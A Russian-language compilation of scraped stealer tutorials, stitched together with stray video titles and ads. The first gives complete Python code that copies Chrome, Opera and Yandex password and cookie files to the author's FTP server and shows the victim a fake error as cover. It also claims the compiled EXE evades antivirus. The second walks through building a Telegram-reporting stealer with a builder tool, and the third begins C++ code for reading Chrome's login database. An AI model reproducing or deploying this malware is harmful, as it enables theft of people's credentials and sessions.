Первая библиотека (os.path) — используется для проверки директории на валидность, точнее на то, существует ли она в природе.
Вторая библиотека (getpass) — используется для получения юзернейма пользователя, под которым запущен процесс, это нужно для доступа к папке AppData.
Третья библиотека (ftplib) — тут самое интересное, она нам поможет отправлять пароли по FTP на наш сервер.
Четвертая библиотека (random) — ну тут все просто, мы рандомизируем названия файла, который отправляем на сервер.
И напоследок, мы подключаемся по ftp по логину, паролю и хосту.
Теперь перейдем к более интересным вещам, чем просто библиотеки, напишем уже сами пути к директориям, где лежат наши пароли, а пароли будем воровать из браузеров — Opera, Yandex, Google Chrome.
Итак, вот код, пишем его, далее будем его разбирать:
UserName = ‘\’ + getpass.getuser()
dir_cookie_google = ‘C:\Users’+UserName+’\AppData\Local\Google\Chrome\User Data\Default\Cookies’
СОЗДАЛ СВОЙ СТИЛЛЕР И РАСПИАРИЛ ЕГО! СКОЛЬКО АККАУНТОВ ПОПАЛОСЬ? — GTA SAMP
dir_pass_google = «C:\Users»+UserName+»\AppData\Local\Google\Chrome\User Data\Default\Login Data»
dir_cookie_yandex = «C:\Users»+UserName+»\AppData\Local\Yandex\YandexBrowser\User Data\Default\Cookies»
dir_pass_yandex = «C:\Users»+UserName+»\AppData\Local\Yandex\YandexBrowser\User Data\Default\Password Checker»
dir_cookie_opera = «C:\Users»+UserName+»\AppData\Roaming\Opera Software\Opera Stable\Cookies»
dir_pass_opera = «C:\Users»+UserName+»\AppData\Roaming\Opera Software\Opera Stable\Login Data»
UserName — принимает значения имя текущего пользователя.
dir_cookie_google, dir_pass_google, . . — и т.д. Это все директории где хранятся пароли, нам интерестны именно эти 3 браузера. Будем забирать пароли и куки и перекидывать их себе на сервер по FTP. Потом открывать в sqlite manager, но об этом позже.
У нас имеются директории, у нас есть библиотеки для работы, что же дальше? Пора приступать к основной задаче — написанию стиллера.
Вот код, запишите его и начнем разбирать:
dir_google = «C:\Users»+UserName+»\AppData\Local\Google\Chrome\User Data\Safe Browsing Cookies»
dir_firefox = «C:\Users»+UserName+»\AppData\Roaming\Mozilla\Firefox»
dir_yandex = «C:\Users»+UserName+»\AppData\Local\Yandex»
dir_opera = «C:\Users»+UserName+»\AppData\Roaming\Opera Software»
def check():
if (os.path.exists(dir_google)) == True:
filename = «google»+str(random.randint(1, 10000))
filename2 = «google_pass» + str(random.randint(1, 10000))
with open(dir_cookie_google, «rb») as content:
con.storbinary(«STOR %s» % filename, content)
with open(dir_pass_google, «rb») as content:
con.storbinary(«STOR %s» % filename2, content)
КАК СДЕЛАТЬ СОБСТВЕННЫЙ СТИЛЛЕР? | СТИЛЛЕР СВОИМИ РУКАМИ
if (os.path.exists(dir_opera)) == True:
filename = «opera»+str(random.randint(1, 10000))
filename2 = «opera_pass» + str(random.randint(1, 10000))
with open(dir_cookie_opera, «rb») as content:
con.storbinary(«STOR %s» % filename, content)
with open(dir_pass_opera, «rb») as content:
con.storbinary(«STOR %s» % filename2, content)
if (os.path.exists(dir_yandex)) == True:
filename = «yandex»+str(random.randint(1, 10000))
filename2 = «yandex_pass» + str(random.randint(1, 10000))
with open(dir_cookie_yandex, «rb») as content:
con.storbinary(«STOR %s» % filename, content)
with open(dir_pass_yandex, «rb») as content:
Рассмотрим первые строчки. В начале, до функции, мы записываем в переменные адреса наших директорий для последующей проверки на валидность. «Зачем это нужно?», — спросите вы меня. Да так проще! Зачем ставить try, except, если можно проверить на валидность с помощью os.path.exits.
Далее у идет функция, со множествами if, но тут ничего ничего сложного нет, все просто:
if (os.path.exists(dir_google)) == True:
filename = «google»+str(random.randint(1, 10000))
filename2 = «google_pass» + str(random.randint(1, 10000))
with open(dir_cookie_google, «rb») as content:
con.storbinary(«STOR %s» % filename, content)
with open(dir_pass_google, «rb») as content:
con.storbinary(«STOR %s» % filename2, content)
Мы проверяем, является ли директория валидной, а после открываем ее, и отправляем файл на наш сервер FTP.
Такс. Функцию написали, библиотеки подключили, директории есть. Чего не хватает? Думаю, не хватает задействовать функцию и вывести на экран какую-нибудь псевдо-ошибку, что мол библиотека не подключена и все дела.
check()
print(«Error library import HOUII.dll»)
print(«Error RUN cheat»)
input()
Первая строка — вызов функции, которая ворует пароли.
Далее выводим сообщения об «ошибке», чтобы пользователь думал, что это у него проблемы какие то. И что программа не зловредная, а наоборот, пыталась помочь. Но, как оказалось, библиотеки видите ли у него нет.
Ниже весь код целиком:
import os.path
import getpass
from ftplib import FTP
import random
dir_cookie_google = ‘C:\Users’+UserName+’\AppData\Local\Google\Chrome\User Data\Default\Cookies’
dir_pass_google = «C:\Users»+UserName+»\AppData\Local\Google\Chrome\User Data\Default\Login Data»
dir_cookie_yandex = «C:\Users»+UserName+»\AppData\Local\Yandex\YandexBrowser\User Data\Default\Cookies»
dir_pass_yandex = «C:\Users»+UserName+»\AppData\Local\Yandex\YandexBrowser\User Data\Default\Password Checker»
dir_cookie_opera = «C:\Users»+UserName+»\AppData\Roaming\Opera Software\Opera Stable\Cookies»
dir_pass_opera = «C:\Users»+UserName+»\AppData\Roaming\Opera Software\Opera Stable\Login Data»
dir_google = «C:\Users»+UserName+»\AppData\Local\Google\Chrome\User Data\Safe Browsing Cookies»
dir_firefox = «C:\Users»+UserName+»\AppData\Roaming\Mozilla\Firefox»
dir_yandex = «C:\Users»+UserName+»\AppData\Local\Yandex»
dir_opera = «C:\Users»+UserName+»\AppData\Roaming\Opera Software»
def check():
if (os.path.exists(dir_google)) == True:
filename = «google»+str(random.randint(1, 10000))
filename2 = «google_pass» + str(random.randint(1, 10000))
with open(dir_cookie_google, «rb») as content:
con.storbinary(«STOR %s» % filename, content)
with open(dir_pass_google, «rb») as content:
con.storbinary(«STOR %s» % filename2, content)
if (os.path.exists(dir_opera)) == True:
filename = «opera»+str(random.randint(1, 10000))
filename2 = «opera_pass» + str(random.randint(1, 10000))
with open(dir_cookie_opera, «rb») as content:
con.storbinary(«STOR %s» % filename, content)
with open(dir_pass_opera, «rb») as content:
con.storbinary(«STOR %s» % filename2, content)
if (os.path.exists(dir_yandex)) == True:
filename = «yandex»+str(random.randint(1, 10000))
filename2 = «yandex_pass» + str(random.randint(1, 10000))
with open(dir_cookie_yandex, «rb») as content:
con.storbinary(«STOR %s» % filename, content)
with open(dir_pass_yandex, «rb») as content:
con.storbinary(«STOR %s» % filename2, content)
check()
print(«Error library import HOUII.dll»)
print(«Error RUN cheat»)
input()
Компилируем в EXE
У нас есть код, но он на пайтоне, как же его эксплуатировать на чужом ПК?
pip install pyinstaller
Далее скомпилируем его в EXE’шник, дабы было все проще
Вот и все, по сути у нас есть EXE файл, который не палится антивирусами. На практике kaspersky, dr.web, и др популярные антивирусы не определяют его как вредоносное программное обеспечения, даже если ему тыкнуть носом, вот мол, смотри, давай его просканируем, может там вирусы трояны, бэкдоры! Он говорит — нет, там нету ничего.
Источник: forumteam.world
Делаем свой стиллер с отправкой в Telegram
Стиллер
Скачиваем последнюю версию билдера
После распаковки открываем ‘Builder.exe’
Тут создаем бота
Копируем токен и вставляем в консоль
Теперь нас просят ввести чат айди.
Переходим снова в телеграмм, нажимаем «Создать группу»
2 это ваш бот которого вы создали только что.
После этого берем эти цифры и вставляем в консоль
После этого пишем в консоль «y» 7 раз пока не дойдем до введения bitcoin кошелька, тут по желанию, я поставил n
Теперь по желанию ставим иконку для ратника
Видим что наш стиллер создался
Теперь для проверки можно закинуть его на дедик/вирт. машину.
Не советую запускать стиллер на своем пк.
После того как запустили стиллер, он должен удалится, ждем 1-2 минуты (зависит от количества файлов и данных у человека).
И видим что в телеграмм пришел лог).
После скачивания архива получаем это:
Используйте только как развлечение над другом, не используйте как основной стиллер, т.к у вас могут спиздить логи.
Всем удачи и хорошего профита.
Syndicate Project— Лучшая торговая площадка! Император Ставит — 8200 рублей за два клика!
Источник: telegra.ph
Пишем стилер. Как вытащить пароли Chrome и Firefox своими руками
Ты наверняка слышал о таком классе зловредных приложений, как стилеры. Их задача — вытащить из системы жертвы ценные данные, в первую очередь — пароли. В этой статье я расскажу, как именно они это делают, на примере извлечения паролей из браузеров Chrome и Firefox и покажу примеры кода на C++.
WARNING
Весь код в статье приводится исключительно в образовательных целях и для восстановления собственных утерянных паролей. Похищение чужих учетных или других личных данных без надлежащего письменного соглашения карается по закону.
Итак, браузеры, в основе которых лежит Chrome или Firefox, хранят логины и пароли пользователей в зашифрованном виде в базе SQLite. Эта СУБД компактна и распространяется бесплатно по свободной лицензии. Так же, как и рассматриваемые нами браузеры: весь их код открыт и хорошо документирован, что, несомненно, поможет нам.
В примере модуля стилинга, который я приведу в статье, будет активно использоваться CRT и другие сторонние библиотеки и зависимости, типа sqlite.h. Если тебе нужен компактный код без зависимостей, придется его немного переработать, избавившись от некоторых функций и настроив компилятор должным образом. Как это сделать, я показывал в статье «Тайный WinAPI. Как обфусцировать вызовы WinAPI в своем приложении».
Что скажет антивирус?
Рекламируя свои продукты, вирусописатели часто обращают внимание потенциальных покупателей на то, что в данный момент их стилер не «палится» антивирусом.
Тут надо понимать, что все современные и более-менее серьезные вирусы и трояны имеют модульную структуру, каждый модуль в которой отвечает за что-то свое: один модуль собирает пароли, второй препятствует отладке и эмуляции, третий определяет факт работы в виртуальной машине, четвертый проводит обфускацию вызовов WinAPI, пятый разбирается со встроенным в ОС файрволом.
Так что судить о том, «палится» определенный метод антивирусом или нет, можно, только если речь идет о законченном «боевом» приложении, а не по отдельному модулю.
Chrome
Начнем с Chrome. Для начала давай получим файл, где хранятся учетные записи и пароли пользователей. В Windows он лежит по такому адресу:
C:Users%username%AppDataLocalGoogleChromeUserDataDefaultLogin Data
Чтобы совершать какие-то манипуляции с этим файлом, нужно либо убить все процессы браузера, что будет бросаться в глаза, либо куда-то скопировать файл базы и уже после этого начинать работать с ним.
Давай напишем функцию, которая получает путь к базе паролей Chrome. В качестве аргумента ей будет передаваться массив символов с результатом ее работы (то есть массив будет содержать путь к файлу паролей Chrome).
#define CHROME_DB_PATH «\Google\Chrome\User Data\Default\Login Data» bool get_browser_path(char * db_loc, int browser_family, const char * location) < memset(db_loc, 0, MAX_PATH); if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) < return 0; >if (browser_family == 0) < lstrcat(db_loc, TEXT(location)); return 1; >>
char browser_db[MAX_PATH]; get_browser_path(browser_db, 0, CHROME_DB_PATH);
Давай вкратце поясню, что здесь происходит. Мы сразу пишем эту функцию, подразумевая будущее расширение. Один из ее аргументов — поле browser_family , оно будет сигнализировать о семействе браузеров, базу данных которых мы получаем (то есть браузеры на основе Chrome или Firefox).
Если условие browser_family == 0 выполняется, то получаем базу паролей браузера на основе Chrome, если browser_family == 1 — Firefox. Идентификатор CHROME_DB_PATH указывает на базу паролей Chrome. Далее мы получаем путь к базе при помощи функции SHGetFolderPath , передавая ей в качестве аргумента CSIDL значение CSIDL_LOCAL_APPDATA , которое означает:
#define CSIDL_LOCAL_APPDATA 0x001c // Local SettingsApplicaiton Data (non roaming)
Функция SHGetFolderPath устарела, и в Microsoft рекомендуют использовать вместо нее SHGetKnownFolderPath . Проблема в том, что поддержка этой функции начинается с Windows Vista, поэтому я применил ее более старый аналог для сохранения обратной совместимости. Вот ее прототип:
HRESULT SHGetFolderPath( HWND hwndOwner, int nFolder, HANDLE hToken, DWORD dwFlags, LPTSTR pszPath );
После этого функция lstrcat совмещает результат работы SHGetFolderPath с идентификатором CHROME_DB_PATH .
База паролей получена, теперь приступаем к работе с ней. Как я уже говорил, это база данных SQLite, работать с ней удобно через SQLite API, которые подключаются с заголовочным файлом sqlite3.h. Давай скопируем файл базы данных, чтобы не занимать его и не мешать работе браузера.
int status = CopyFile(browser_db, TEXT(«.\db_tmp»), FALSE); if (!status) < // return 0; >
Теперь подключаемся к базе командой sqlite3_open_v2 . Ее прототип:
int sqlite3_open_v2( const char *filename, /* Database filename (UTF-8) */ sqlite3 **ppDb, /* OUT: SQLite db handle */ int flags, /* Flags */ const char *zVfs /* Name of VFS module to use */ );
Первый аргумент — наша база данных; информация о подключении возвращается во второй аргумент, дальше идут флаги открытия, а четвертый аргумент определяет интерфейс операционной системы, который должен использовать это подключение к базе данных, в нашем случае он не нужен. Если эта функция отработает корректно, возвращается значение SQLITE_OK , в противном случае возвращается код ошибки.
sqlite3 *sql_browser_db = NULL; status = sqlite3_open_v2(TEMP_DB_PATH, if(status != SQLITE_OK)
INFO
Обрати внимание: при некорректной отработке функции нам все равно необходимо самостоятельно закрыть подключение к базе и удалить ее копию.
Теперь начинаем непосредственно обрабатывать данные в базе. Для этого воспользуемся функцией sqlite3_exec() .
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Источник: xakep.ru